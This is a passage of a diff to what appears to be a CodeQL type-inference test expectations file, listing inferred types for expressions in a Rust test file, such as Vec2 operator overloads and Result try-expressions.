| & | +| main.rs:1176:15:1176:19 | &self | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:16:1176:19 | self | | file://:0:0:0:0 | & | +| main.rs:1176:16:1176:19 | self | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1179:15:1179:15 | x | | file://:0:0:0:0 | & | +| main.rs:1179:15:1179:15 | x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1179:34:1181:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1179:34:1181:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1180:13:1180:13 | x | | file://:0:0:0:0 | & | +| main.rs:1180:13:1180:13 | x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1183:15:1183:15 | x | | file://:0:0:0:0 | & | +| main.rs:1183:15:1183:15 | x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1183:34:1185:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1183:34:1185:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:13:1184:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1184:13:1184:16 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:14:1184:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1184:14:1184:16 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:15:1184:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1184:15:1184:16 | &x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:16:1184:16 | x | | file://:0:0:0:0 | & | +| main.rs:1184:16:1184:16 | x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1189:13:1189:13 | x | | main.rs:1168:5:1168:13 | S | +| main.rs:1189:17:1189:20 | S {...} | | main.rs:1168:5:1168:13 | S | +| main.rs:1190:9:1190:9 | x | | main.rs:1168:5:1168:13 | S | +| main.rs:1190:9:1190:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:1190:9:1190:14 | x.f1() | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1191:9:1191:9 | x | | main.rs:1168:5:1168:13 | S | +| main.rs:1191:9:1191:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:1191:9:1191:14 | x.f2() | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1192:9:1192:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:1192:9:1192:17 | ...::f3(...) | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1192:15:1192:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1192:15:1192:16 | &x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1192:16:1192:16 | x | | main.rs:1168:5:1168:13 | S | +| main.rs:1194:18:1194:24 | * ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1194:19:1194:24 | &... | | file://:0:0:0:0 | & | +| main.rs:1194:19:1194:24 | &... | &T | {EXTERNAL LOCATION} | bool | +| main.rs:1194:20:1194:24 | &true | | file://:0:0:0:0 | & | +| main.rs:1194:20:1194:24 | &true | &T | {EXTERNAL LOCATION} | bool | +| main.rs:1194:21:1194:24 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1199:22:1199:30 | &mut flag | | file://:0:0:0:0 | & | +| main.rs:1199:22:1199:30 | &mut flag | &T | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1200:18:1200:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1214:43:1217:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1214:43:1217:5 | { ... } | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1214:43:1217:5 | { ... } | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1215:13:1215:13 | x | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1215:17:1215:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1215:17:1215:30 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1215:17:1215:31 | TryExpr | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1215:28:1215:29 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1216:9:1216:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1216:9:1216:22 | ...::Ok(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1216:9:1216:22 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1216:20:1216:21 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1220:46:1224:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1220:46:1224:5 | { ... } | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1220:46:1224:5 | { ... } | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1221:13:1221:13 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1221:13:1221:13 | x | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1221:17:1221:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1221:17:1221:30 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1221:28:1221:29 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1222:13:1222:13 | y | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1222:17:1222:17 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1222:17:1222:17 | x | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1222:17:1222:18 | TryExpr | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1223:9:1223:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1223:9:1223:22 | ...::Ok(...) | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1223:9:1223:22 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1223:20:1223:21 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1227:40:1232:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1227:40:1232:5 | { ... } | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1227:40:1232:5 | { ... } | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1228:13:1228:13 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1228:13:1228:13 | x | T | {EXTERNAL LOCATION} | Result | +| main.rs:1228:13:1228:13 | x | T.T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1228:17:1228:42 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1228:17:1228:42 | ...::Ok(...) | T | {EXTERNAL LOCATION} | Result | +| main.rs:1228:17:1228:42 | ...::Ok(...) | T.T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1228:28:1228:41 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1228:28:1228:41 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1228:39:1228:40 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1230:17:1230:17 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1230:17:1230:17 | x | T | {EXTERNAL LOCATION} | Result | +| main.rs:1230:17:1230:17 | x | T.T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1230:17:1230:18 | TryExpr | | {EXTERNAL LOCATION} | Result | +| main.rs:1230:17:1230:18 | TryExpr | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1230:17:1230:29 | ... .map(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1231:9:1231:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1231:9:1231:22 | ...::Ok(...) | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1231:9:1231:22 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1231:20:1231:21 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1235:30:1235:34 | input | | {EXTERNAL LOCATION} | Result | +| main.rs:1235:30:1235:34 | input | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1235:30:1235:34 | input | T | main.rs:1235:20:1235:27 | T | +| main.rs:1235:69:1242:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1235:69:1242:5 | { ... } | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1235:69:1242:5 | { ... } | T | main.rs:1235:20:1235:27 | T | +| main.rs:1236:13:1236:17 | value | | main.rs:1235:20:1235:27 | T | +| main.rs:1236:21:1236:25 | input | | {EXTERNAL LOCATION} | Result | +| main.rs:1236:21:1236:25 | input | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1236:21:1236:25 | input | T | main.rs:1235:20:1235:27 | T | +| main.rs:1236:21:1236:26 | TryExpr | | main.rs:1235:20:1235:27 | T | +| main.rs:1237:22:1237:38 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1237:22:1237:38 | ...::Ok(...) | T | main.rs:1235:20:1235:27 | T | +| main.rs:1237:22:1240:10 | ... .and_then(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1237:33:1237:37 | value | | main.rs:1235:20:1235:27 | T | +| main.rs:1237:53:1240:9 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1237:53:1240:9 | { ... } | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1238:22:1238:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1239:13:1239:34 | ...::Ok::<...>(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1239:13:1239:34 | ...::Ok::<...>(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1241:9:1241:23 | ...::Err(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1241:9:1241:23 | ...::Err(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1241:9:1241:23 | ...::Err(...) | T | main.rs:1235:20:1235:27 | T | +| main.rs:1241:21:1241:22 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1245:37:1245:52 | try_same_error(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1245:37:1245:52 | try_same_error(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1245:37:1245:52 | try_same_error(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1246:22:1246:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1249:37:1249:55 | try_convert_error(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1249:37:1249:55 | try_convert_error(...) | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1249:37:1249:55 | try_convert_error(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1250:22:1250:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1253:37:1253:49 | try_chained(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1253:37:1253:49 | try_chained(...) | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1253:37:1253:49 | try_chained(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1254:22:1254:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1257:37:1257:63 | try_complex(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1257:37:1257:63 | try_complex(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1257:37:1257:63 | try_complex(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1257:49:1257:62 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1257:49:1257:62 | ...::Ok(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1257:49:1257:62 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1257:60:1257:61 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1258:22:1258:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1265:13:1265:13 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1265:22:1265:22 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1266:13:1266:13 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1266:17:1266:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1267:13:1267:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1267:17:1267:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1267:17:1267:21 | ... + ... | | {EXTERNAL LOCATION} | i32 | +| main.rs:1267:21:1267:21 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1268:13:1268:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1268:17:1268:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1268:17:1268:23 | x.abs() | | {EXTERNAL LOCATION} | i32 | +| main.rs:1269:13:1269:13 | c | | {EXTERNAL LOCATION} | char | +| main.rs:1269:17:1269:19 | 'c' | | {EXTERNAL LOCATION} | char | +| main.rs:1270:13:1270:17 | hello | | {EXTERNAL LOCATION} | str | +| main.rs:1270:21:1270:27 | "Hello" | | {EXTERNAL LOCATION} | str | +| main.rs:1271:13:1271:13 | f | | {EXTERNAL LOCATION} | f64 | +| main.rs:1271:17:1271:24 | 123.0f64 | | {EXTERNAL LOCATION} | f64 | +| main.rs:1272:13:1272:13 | t | | {EXTERNAL LOCATION} | bool | +| main.rs:1272:17:1272:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1273:13:1273:13 | f | | {EXTERNAL LOCATION} | bool | +| main.rs:1273:17:1273:21 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1280:13:1280:13 | x | | {EXTERNAL LOCATION} | bool | +| main.rs:1280:17:1280:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1280:17:1280:29 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1280:25:1280:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1281:13:1281:13 | y | | {EXTERNAL LOCATION} | bool | +| main.rs:1281:17:1281:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1281:17:1281:29 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1281:25:1281:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1283:13:1283:17 | mut a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1284:13:1284:16 | cond | | {EXTERNAL LOCATION} | bool | +| main.rs:1284:20:1284:21 | 34 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1284:20:1284:27 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1284:26:1284:27 | 33 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1285:12:1285:15 | cond | | {EXTERNAL LOCATION} | bool | +| main.rs:1286:17:1286:17 | z | | file://:0:0:0:0 | () | +| main.rs:1286:21:1286:27 | (...) | | file://:0:0:0:0 | () | +| main.rs:1286:22:1286:22 | a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1286:22:1286:26 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1286:26:1286:26 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1288:13:1288:13 | a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1288:13:1288:17 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1288:17:1288:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1290:9:1290:9 | a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1307:16:1307:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1307:22:1307:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1307:41:1312:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1308:13:1311:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1309:20:1309:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1309:20:1309:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1309:20:1309:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1309:29:1309:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1309:29:1309:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1310:20:1310:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1310:20:1310:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1310:20:1310:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1310:29:1310:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1310:29:1310:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1317:23:1317:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1317:23:1317:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1317:34:1317:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | | main.rs:1318:13:1318:16 | self | | file://:0:0:0:0 | & | -| main.rs:1318:13:1318:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1318:13:1318:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1318:13:1318:27 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1318:23:1318:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1318:23:1318:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1324:16:1324:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1324:22:1324:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1324:41:1329:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1325:13:1328:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:20:1326:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:20:1326:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1326:20:1326:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1326:29:1326:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:29:1326:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1327:20:1327:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1327:20:1327:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1327:20:1327:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1327:29:1327:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1327:29:1327:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1333:23:1333:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1333:23:1333:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1333:34:1333:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:13:1334:16 | self | | file://:0:0:0:0 | & | -| main.rs:1334:13:1334:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:13:1334:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1334:13:1334:27 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1334:23:1334:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:23:1334:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1335:13:1335:16 | self | | file://:0:0:0:0 | & | -| main.rs:1335:13:1335:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1335:13:1335:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1335:13:1335:27 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1335:23:1335:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1335:23:1335:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1341:16:1341:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1341:22:1341:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1341:41:1346:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1342:13:1345:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:20:1343:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:20:1343:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1343:20:1343:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1343:29:1343:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:29:1343:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1344:20:1344:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1344:20:1344:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1344:20:1344:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1344:29:1344:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1344:29:1344:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1350:23:1350:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1350:23:1350:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1350:34:1350:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:13:1351:16 | self | | file://:0:0:0:0 | & | -| main.rs:1351:13:1351:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:13:1351:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1351:13:1351:27 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1351:23:1351:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:23:1351:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1352:13:1352:16 | self | | file://:0:0:0:0 | & | -| main.rs:1352:13:1352:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1352:13:1352:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1352:13:1352:27 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1352:23:1352:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1352:23:1352:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1358:16:1358:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1358:22:1358:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1358:41:1363:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1359:13:1362:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:20:1360:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:20:1360:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1360:20:1360:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1360:29:1360:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:29:1360:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1361:20:1361:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1361:20:1361:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1361:20:1361:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1361:29:1361:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1361:29:1361:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1367:23:1367:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1367:23:1367:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1367:34:1367:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:13:1368:16 | self | | file://:0:0:0:0 | & | -| main.rs:1368:13:1368:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:13:1368:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1368:13:1368:27 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1368:23:1368:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:23:1368:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1369:13:1369:16 | self | | file://:0:0:0:0 | & | -| main.rs:1369:13:1369:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1369:13:1369:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1369:13:1369:27 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1369:23:1369:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1369:23:1369:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1375:19:1375:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1375:25:1375:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1375:44:1380:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1376:13:1379:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:20:1377:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:20:1377:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1377:20:1377:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1377:29:1377:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:29:1377:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1378:20:1378:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1378:20:1378:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1378:20:1378:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1378:29:1378:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1378:29:1378:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1384:26:1384:34 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1384:26:1384:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1384:37:1384:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:13:1385:16 | self | | file://:0:0:0:0 | & | -| main.rs:1385:13:1385:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:13:1385:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1385:13:1385:27 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1385:23:1385:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:23:1385:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1386:13:1386:16 | self | | file://:0:0:0:0 | & | -| main.rs:1386:13:1386:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1386:13:1386:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1386:13:1386:27 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1386:23:1386:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1386:23:1386:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1392:18:1392:21 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1392:24:1392:26 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1392:43:1397:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1393:13:1396:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:20:1394:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:20:1394:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1394:20:1394:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1394:29:1394:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:29:1394:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1395:20:1395:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1395:20:1395:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1395:20:1395:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1395:29:1395:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1395:29:1395:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1401:25:1401:33 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1401:25:1401:33 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1401:36:1401:38 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:13:1402:16 | self | | file://:0:0:0:0 | & | -| main.rs:1402:13:1402:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:13:1402:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1402:13:1402:27 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1402:23:1402:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:23:1402:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1403:13:1403:16 | self | | file://:0:0:0:0 | & | -| main.rs:1403:13:1403:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1403:13:1403:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1403:13:1403:27 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1403:23:1403:25 | rhs | | 